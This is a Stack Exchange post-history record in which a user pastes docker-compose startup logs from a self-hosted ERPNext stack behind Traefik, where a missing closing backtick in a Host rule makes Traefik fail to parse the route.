  <row Id="38355" PostHistoryTypeId="5" PostId="12489" RevisionGUID="ef65a4cc-ff5d-4527-b738-6f2511200361" CreationDate="2020-09-24T21:58:12.067" UserId="23443" Comment="thought it worked" Text="I've tried a few URL's, but can't quite tell what happened:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker-compose up&#xD;&#xA;    Starting frappe_docker_erpnext-nginx_1 ... &#xD;&#xA;    frappe_docker_mariadb_1 is up-to-date&#xD;&#xA;    frappe_docker_redis-cache_1 is up-to-date&#xD;&#xA;    Starting frappe_docker_traefik_1       ... &#xD;&#xA;    frappe_docker_erpnext-python_1 is up-to-date&#xD;&#xA;    frappe_docker_redis-socketio_1 is up-to-date&#xD;&#xA;    frappe_docker_redis-queue_1 is up-to-date&#xD;&#xA;    Starting frappe_docker_site-creator_1  ... &#xD;&#xA;    frappe_docker_frappe-socketio_1 is up-to-date&#xD;&#xA;    frappe_docker_erpnext-schedule_1 is up-to-date&#xD;&#xA;    Starting frappe_docker_erpnext-nginx_1 ... done&#xD;&#xA;    Starting frappe_docker_traefik_1       ... done&#xD;&#xA;    Starting frappe_docker_site-creator_1  ... done&#xD;&#xA;    Attaching to frappe_docker_mariadb_1, frappe_docker_redis-cache_1, frappe_docker_erpnext-python_1, frappe_docker_redis-socketio_1, frappe_docker_redis-queue_1, frappe_docker_frappe-socketio_1, frappe_docker_erpnext-schedule_1, frappe_docker_erpnext-worker-default_1, frappe_docker_erpnext-worker-short_1, frappe_docker_erpnext-worker-long_1, frappe_docker_site-creator_1, frappe_docker_erpnext-nginx_1, frappe_docker_traefik_1&#xD;&#xA;    erpnext-python_1          | Attempt 1 to connect to mariadb:3306&#xD;&#xA;    erpnext-python_1          | Attempt 2 to connect to mariadb:3306&#xD;&#xA;    erpnext-python_1          | Attempt 3 to connect to mariadb:3306&#xD;&#xA;    erpnext-python_1          | Attempt 4 to connect to mariadb:3306&#xD;&#xA;    erpnext-python_1          | Attempt 5 to connect to mariadb:3306&#xD;&#xA;    erpnext-python_1          | Attempt 1 to connect to redis-queue:6379&#xD;&#xA;    erpnext-python_1          | Attempt 1 to connect to redis-cache:6379&#xD;&#xA;    erpnext-python_1          | Attempt 1 to connect to redis-socketio:6379&#xD;&#xA;    erpnext-python_1          | Connections OK&#xD;&#xA;    erpnext-python_1          | [2020-09-24 21:42:51 +0000] [20] [INFO] Starting gunicorn 19.10.0&#xD;&#xA;    erpnext-python_1          | [2020-09-24 21:42:51 +0000] [20] [INFO] Listening at: http://0.0.0.0:8000 (20)&#xD;&#xA;    erpnext-python_1          | [2020-09-24 21:42:51 +0000] [20] [INFO] Using worker: gthread&#xD;&#xA;    erpnext-python_1          | [2020-09-24 21:42:51 +0000] [23] [INFO] Booting worker with pid: 23&#xD;&#xA;    erpnext-python_1          | [2020-09-24 21:42:51 +0000] [24] [INFO] Booting worker with pid: 24&#xD;&#xA;    erpnext-schedule_1        | Attempt 1 to connect to mariadb:3306&#xD;&#xA;    erpnext-schedule_1        | Attempt 1 to connect to redis-queue:6379&#xD;&#xA;    erpnext-schedule_1        | Attempt 1 to connect to redis-cache:6379&#xD;&#xA;    erpnext-schedule_1        | Attempt 1 to connect to redis-socketio:6379&#xD;&#xA;    erpnext-schedule_1        | Connections OK&#xD;&#xA;    erpnext-schedule_1        | Starting background scheduler . . .&#xD;&#xA;    erpnext-worker-long_1     | Attempt 1 to connect to mariadb:3306&#xD;&#xA;    erpnext-worker-long_1     | Attempt 1 to connect to redis-queue:6379&#xD;&#xA;    erpnext-worker-long_1     | Attempt 1 to connect to redis-cache:6379&#xD;&#xA;    erpnext-worker-long_1     | Attempt 1 to connect to redis-socketio:6379&#xD;&#xA;    erpnext-worker-long_1     | Connections OK&#xD;&#xA;    erpnext-worker-long_1     | 21:42:50 Worker rq:worker:9e230e83f0a54f2c9e23cf8c05803a5b.d7c672c3b8e4.13.long: started, version 1.5.2&#xD;&#xA;    erpnext-worker-long_1     | 21:42:50 *** Listening on long...&#xD;&#xA;    erpnext-worker-long_1     | 21:42:50 Cleaning registries for queue: long&#xD;&#xA;    erpnext-worker-short_1    | Attempt 1 to connect to mariadb:3306&#xD;&#xA;    erpnext-worker-short_1    | Attempt 1 to connect to redis-queue:6379&#xD;&#xA;    erpnext-worker-short_1    | Attempt 1 to connect to redis-cache:6379&#xD;&#xA;    erpnext-worker-short_1    | Attempt 1 to connect to redis-socketio:6379&#xD;&#xA;    erpnext-worker-short_1    | Connections OK&#xD;&#xA;    erpnext-worker-short_1    | 21:42:50 Worker rq:worker:2b7b866af6af496fa729c4ad20e78978.7da607a8d5a8.13.short: started, version 1.5.2&#xD;&#xA;    erpnext-worker-short_1    | 21:42:50 *** Listening on short...&#xD;&#xA;    erpnext-worker-short_1    | 21:42:50 Cleaning registries for queue: short&#xD;&#xA;    redis-queue_1             | 1:C 24 Sep 2020 21:42:20.656 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo&#xD;&#xA;    redis-queue_1             | 1:C 24 Sep 2020 21:42:20.656 # Redis version=6.0.8, bits=64, commit=00000000, modified=0, pid=1, just started&#xD;&#xA;    redis-queue_1             | 1:C 24 Sep 2020 21:42:20.656 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.657 * Increased maximum number of open files to 10032 (it was originally set to 1024).&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 * Running mode=standalone, port=6379.&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 # Server initialized&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 * Loading RDB produced by version 6.0.8&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 * RDB age 37 seconds&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 * RDB memory usage when created 0.83 Mb&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 * DB loaded from disk: 0.000 seconds&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 * Ready to accept connections&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:14+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 1:10.3.24+maria~focal started.&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:15+00:00 [Note] [Entrypoint]: Switching to dedicated user 'mysql'&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:15+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 1:10.3.24+maria~focal started.&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] mysqld (mysqld 10.3.24-MariaDB-1:10.3.24+maria~focal) starting as process 1 ...&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Using Linux native AIO&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Uses event mutexes&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Compressed tables use zlib 1.2.11&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Number of pools: 1&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Using generic crc32 instructions&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Initializing buffer pool, total size = 256M, instances = 1, chunk size = 128M&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Completed initialization of buffer pool&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: If the mysqld execution user is authorized, page cleaner thread priority can be changed. See the man page of setpriority().&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:31 0 [Note] InnoDB: 128 out of 128 rollback segments are active.&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:31 0 [Note] InnoDB: Creating shared tablespace for temporary tables&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:31 0 [Note] InnoDB: Setting file './ibtmp1' size to 12 MB. Physically writing the file full; Please wait ...&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:31 0 [Note] InnoDB: File './ibtmp1' size is now 12 MB.&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:31 0 [Note] InnoDB: 10.3.24 started; log sequence number 39389994; transaction id 12198&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:31 0 [Note] InnoDB: Loading buffer pool(s) from /var/lib/mysql/ib_buffer_pool&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:31 0 [Note] Plugin 'FEEDBACK' is disabled.&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:32 0 [Note] Server socket created on IP: '::'.&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:32 0 [Warning] 'proxies_priv' entry '@% root@ae9b03a0d7ee' ignored in --skip-name-resolve mode.&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:32 0 [Note] Reading of all Master_info entries succeeded&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:32 0 [Note] Added new Master_info '' to hash table&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:32 0 [Note] mysqld: ready for connections.&#xD;&#xA;    mariadb_1                 | Version: '10.3.24-MariaDB-1:10.3.24+maria~focal'  socket: '/var/run/mysqld/mysqld.sock'  port: 3306  mariadb.org binary distribution&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:43:04 0 [Note] InnoDB: Buffer pool(s) load completed at 200924 21:43:04&#xD;&#xA;    erpnext-worker-default_1  | Attempt 1 to connect to mariadb:3306&#xD;&#xA;    erpnext-worker-default_1  | Attempt 1 to connect to redis-queue:6379&#xD;&#xA;    erpnext-worker-default_1  | Attempt 1 to connect to redis-cache:6379&#xD;&#xA;    erpnext-worker-default_1  | Attempt 1 to connect to redis-socketio:6379&#xD;&#xA;    erpnext-worker-default_1  | Connections OK&#xD;&#xA;    erpnext-worker-default_1  | 21:42:50 Worker rq:worker:1c434d0c9d5d4d61874e73a1eab8cad6.f18a505e3d01.14.default: started, version 1.5.2&#xD;&#xA;    erpnext-worker-default_1  | 21:42:50 *** Listening on default...&#xD;&#xA;    erpnext-worker-default_1  | 21:42:50 Cleaning registries for queue: default&#xD;&#xA;    redis-cache_1             | 1:C 24 Sep 2020 21:42:19.998 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo&#xD;&#xA;    redis-cache_1             | 1:C 24 Sep 2020 21:42:19.998 # Redis version=6.0.8, bits=64, commit=00000000, modified=0, pid=1, just started&#xD;&#xA;    redis-cache_1             | 1:C 24 Sep 2020 21:42:19.998 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.000 * Increased maximum number of open files to 10032 (it was originally set to 1024).&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.266 * Running mode=standalone, port=6379.&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.266 # Server initialized&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.266 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.267 * Loading RDB produced by version 6.0.8&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.267 * RDB age 37 seconds&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.267 * RDB memory usage when created 1.33 Mb&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.269 * DB loaded from disk: 0.003 seconds&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.269 * Ready to accept connections&#xD;&#xA;    frappe-socketio_1         | listening on *: 9000&#xD;&#xA;    redis-socketio_1          | 1:C 24 Sep 2020 21:42:24.894 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo&#xD;&#xA;    redis-socketio_1          | 1:C 24 Sep 2020 21:42:24.894 # Redis version=6.0.8, bits=64, commit=00000000, modified=0, pid=1, just started&#xD;&#xA;    redis-socketio_1          | 1:C 24 Sep 2020 21:42:24.894 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.895 * Increased maximum number of open files to 10032 (it was originally set to 1024).&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 * Running mode=standalone, port=6379.&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 # Server initialized&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 * Loading RDB produced by version 6.0.8&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 * RDB age 41 seconds&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 * RDB memory usage when created 0.79 Mb&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 * DB loaded from disk: 0.000 seconds&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 * Ready to accept connections&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;Configuration loaded from flags.&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;Traefik version 2.2.11 built on 2020-09-07T14:12:48Z&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Static configuration loaded {\&quot;global\&quot;:{\&quot;checkNewVersion\&quot;:true},\&quot;serversTransport\&quot;:{\&quot;maxIdleConnsPerHost\&quot;:200},\&quot;entryPoints\&quot;:{\&quot;web\&quot;:{\&quot;address\&quot;:\&quot;:80\&quot;,\&quot;transport\&quot;:{\&quot;lifeCycle\&quot;:{\&quot;graceTimeOut\&quot;:10000000000},\&quot;respondingTimeouts\&quot;:{\&quot;idleTimeout\&quot;:180000000000}},\&quot;forwardedHeaders\&quot;:{},\&quot;http\&quot;:{}},\&quot;websecure\&quot;:{\&quot;address\&quot;:\&quot;:443\&quot;,\&quot;transport\&quot;:{\&quot;lifeCycle\&quot;:{\&quot;graceTimeOut\&quot;:10000000000},\&quot;respondingTimeouts\&quot;:{\&quot;idleTimeout\&quot;:180000000000}},\&quot;forwardedHeaders\&quot;:{},\&quot;http\&quot;:{}}},\&quot;providers\&quot;:{\&quot;providersThrottleDuration\&quot;:2000000000,\&quot;docker\&quot;:{\&quot;watch\&quot;:true,\&quot;endpoint\&quot;:\&quot;unix:///var/run/docker.sock\&quot;,\&quot;defaultRule\&quot;:\&quot;Host(`{{ normalize .Name }}`)\&quot;,\&quot;swarmModeRefreshSeconds\&quot;:15000000000}},\&quot;log\&quot;:{\&quot;level\&quot;:\&quot;DEBUG\&quot;,\&quot;format\&quot;:\&quot;common\&quot;},\&quot;certificatesResolvers\&quot;:{\&quot;myresolver\&quot;:{\&quot;acme\&quot;:{\&quot;email\&quot;:\&quot;saunders.nicholas@gmail.com\&quot;,\&quot;caServer\&quot;:\&quot;https://acme-v02.api.letsencrypt.org/directory\&quot;,\&quot;storage\&quot;:\&quot;/letsencrypt/acme.json\&quot;,\&quot;keyType\&quot;:\&quot;RSA4096\&quot;,\&quot;httpChallenge\&quot;:{\&quot;entryPoint\&quot;:\&quot;web\&quot;}}}}}&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;\nStats collection is disabled.\nHelp us improve Traefik by turning this feature on :)\nMore details on: https://docs.traefik.io/contributing/data-collection/\n&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;Starting provider aggregator.ProviderAggregator {}&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Start TCP Server&quot; entryPointName=web&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Start TCP Server&quot; entryPointName=websecure&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;Starting provider *acme.Provider {\&quot;email\&quot;:\&quot;saunders.nicholas@gmail.com\&quot;,\&quot;caServer\&quot;:\&quot;https://acme-v02.api.letsencrypt.org/directory\&quot;,\&quot;storage\&quot;:\&quot;/letsencrypt/acme.json\&quot;,\&quot;keyType\&quot;:\&quot;RSA4096\&quot;,\&quot;httpChallenge\&quot;:{\&quot;entryPoint\&quot;:\&quot;web\&quot;},\&quot;ResolverName\&quot;:\&quot;myresolver\&quot;,\&quot;store\&quot;:{},\&quot;ChallengeStore\&quot;:{}}&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;Testing certificate renew...&quot; providerName=myresolver.acme&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;Starting provider *docker.Provider {\&quot;watch\&quot;:true,\&quot;endpoint\&quot;:\&quot;unix:///var/run/docker.sock\&quot;,\&quot;defaultRule\&quot;:\&quot;Host(`{{ normalize .Name }}`)\&quot;,\&quot;swarmModeRefreshSeconds\&quot;:15000000000}&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Configuration received from provider myresolver.acme: {\&quot;http\&quot;:{},\&quot;tls\&quot;:{}}&quot; providerName=myresolver.acme&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;Starting provider *traefik.Provider {}&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;No default certificate, generating one&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Configuration received from provider internal: {\&quot;http\&quot;:{\&quot;services\&quot;:{\&quot;noop\&quot;:{}}},\&quot;tcp\&quot;:{},\&quot;tls\&quot;:{}}&quot; providerName=internal&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Provider connection established with docker 19.03.11 (API 1.40)&quot; providerName=docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=frappe-socketio-frappe-docker-547893b784969e960c010590b90d256a5844d4eda6bef53402117f25fd6cd835&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=erpnext-worker-long-frappe-docker-d7c672c3b8e46b1ddbdea4540aaae117852a22cdc04cbddb6a4c9aa5f678849b&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=erpnext-schedule-frappe-docker-16916a30304b6f542c219ed353f1c924fcd6d9142f4ab17e101eab8adc3b2f4f&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=erpnext-worker-default-frappe-docker-f18a505e3d01d1fc0741cfdc15ff33d0188e9e4de5852e3c760eb22a066749b9&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=erpnext-worker-short-frappe-docker-7da607a8d5a81077d1dd500f9ed6888f84cfbcbd7dd2efab11565611a66f2e2a&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=site-creator-frappe-docker-6ea0246bf12dbaf11c684dbecc9dd449b30f38930610b3a6bdd6fcc31a416b92&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=mariadb-frappe-docker-70879517dbbf4ed9c84627f8b312709a56832e423df82715ad0db82c1ed5321b&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=redis-socketio-frappe-docker-e1b06e870f32304b7dcc863a2fef341d0642a929cd721a9220af1c9f845cdf9c&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=erpnext-python-frappe-docker-b8ef2a1cd6858a6a7aa2517928dddffc2dfde713090a6d160847a641288521c6&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=redis-cache-frappe-docker-d7cbac8c826b3c00cb5a699d89d8dd261b6efecdcf75e0e5117459b3a2b1ac57&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=redis-queue-frappe-docker-4d6c6ed96e2a4da4d7efa21299e6ea9fb74f09bdc466fd878598f5cd288090ad&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Configuration received from provider docker: {\&quot;http\&quot;:{\&quot;routers\&quot;:{\&quot;erpnext-nginx\&quot;:{\&quot;entryPoints\&quot;:[\&quot;websecure\&quot;],\&quot;service\&quot;:\&quot;erpnext-nginx\&quot;,\&quot;rule\&quot;:\&quot;Host(`erp.saundersconsulting.tech)\&quot;,\&quot;tls\&quot;:{\&quot;certResolver\&quot;:\&quot;myresolver\&quot;}},\&quot;http-catchall\&quot;:{\&quot;entryPoints\&quot;:[\&quot;web\&quot;],\&quot;middlewares\&quot;:[\&quot;redirect-to-https\&quot;],\&quot;service\&quot;:\&quot;traefik-frappe-docker\&quot;,\&quot;rule\&quot;:\&quot;hostregexp(`{host:.+}`)\&quot;}},\&quot;services\&quot;:{\&quot;erpnext-nginx\&quot;:{\&quot;loadBalancer\&quot;:{\&quot;servers\&quot;:[{\&quot;url\&quot;:\&quot;http://172.20.0.4:80\&quot;}],\&quot;passHostHeader\&quot;:true}},\&quot;traefik-frappe-docker\&quot;:{\&quot;loadBalancer\&quot;:{\&quot;servers\&quot;:[{\&quot;url\&quot;:\&quot;http://172.20.0.14:80\&quot;}],\&quot;passHostHeader\&quot;:true}}},\&quot;middlewares\&quot;:{\&quot;redirect-to-https\&quot;:{\&quot;redirectScheme\&quot;:{\&quot;scheme\&quot;:\&quot;https\&quot;}}}},\&quot;tcp\&quot;:{},\&quot;udp\&quot;:{}}&quot; providerName=docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;No default certificate, generating one&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating middleware&quot; middlewareName=pipelining middlewareType=Pipelining entryPointName=web routerName=http-catchall@docker serviceName=traefik-frappe-docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating load-balancer&quot; entryPointName=web routerName=http-catchall@docker serviceName=traefik-frappe-docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating server 0 http://172.20.0.14:80&quot; entryPointName=web routerName=http-catchall@docker serverName=0 serviceName=traefik-frappe-docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Added outgoing tracing middleware traefik-frappe-docker&quot; middlewareName=tracing middlewareType=TracingForwarder entryPointName=web routerName=http-catchall@docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating middleware&quot; middlewareType=RedirectScheme entryPointName=web routerName=http-catchall@docker middlewareName=redirect-to-https@docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Setting up redirection to https &quot; middlewareType=RedirectScheme entryPointName=web routerName=http-catchall@docker middlewareName=redirect-to-https@docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Adding tracing to middleware&quot; entryPointName=web routerName=http-catchall@docker middlewareName=redirect-to-https@docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating middleware&quot; entryPointName=web middlewareType=Recovery middlewareName=traefik-internal-recovery&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating middleware&quot; routerName=erpnext-nginx@docker serviceName=erpnext-nginx middlewareName=pipelining middlewareType=Pipelining entryPointName=websecure&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating load-balancer&quot; entryPointName=websecure routerName=erpnext-nginx@docker serviceName=erpnext-nginx&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating server 0 http://172.20.0.4:80&quot; entryPointName=websecure routerName=erpnext-nginx@docker serviceName=erpnext-nginx serverName=0&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Added outgoing tracing middleware erpnext-nginx&quot; middlewareName=tracing middlewareType=TracingForwarder routerName=erpnext-nginx@docker entryPointName=websecure&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=error msg=&quot;error while parsing rule Host(`erp.saundersconsulting.tech): 1:6: raw string literal not terminated&quot; routerName=erpnext-nginx@docker entryPointName=websecure&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating middleware&quot; entryPointName=websecure middlewareName=traefik-internal-recovery middlewareType=Recovery&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;No default certificate, generating one&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:18Z&quot; level=error msg=&quot;Error parsing domains in provider ACME: 1:6: raw string literal not terminated&quot; providerName=myresolver.acme routerName=erpnext-nginx@docker rule=&quot;Host(`erp.saundersconsulting.tech)&quot;&#xD;&#xA;    site-creator_1            | Attempt 1 to connect to mariadb:3306&#xD;&#xA;    site-creator_1            | Attempt 1 to connect to redis-queue:6379&#xD;&#xA;    site-creator_1            | Attempt 1 to connect to redis-cache:6379&#xD;&#xA;    site-creator_1            | Attempt 1 to connect to redis-socketio:6379&#xD;&#xA;    site-creator_1            | Connections OK&#xD;&#xA;    site-creator_1            | Site erp.saundersconsulting.tech already exists&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:26Z&quot; level=debug msg=&quot;Provider event received {Status:die ID:6ea0246bf12dbaf11c684dbecc9dd449b30f38930610b3a6bdd6fcc31a416b92 From:frappe/erpnext-worker:edge Type:container Action:die Actor:{ID:6ea0246bf12dbaf11c684dbecc9dd449b30f38930610b3a6bdd6fcc31a416b92 Attributes:map[com.docker.compose.config-&#xD;&#xA;...&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:30Z&quot; level=debug msg=&quot;Filtering disabled container&quot; container=redis-queue-frappe-docker-4d6c6ed96e2a4da4d7efa21299e6ea9fb74f09bdc466fd878598f5cd288090ad providerName=docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:30Z&quot; level=debug msg=&quot;Configuration received from provider docker: 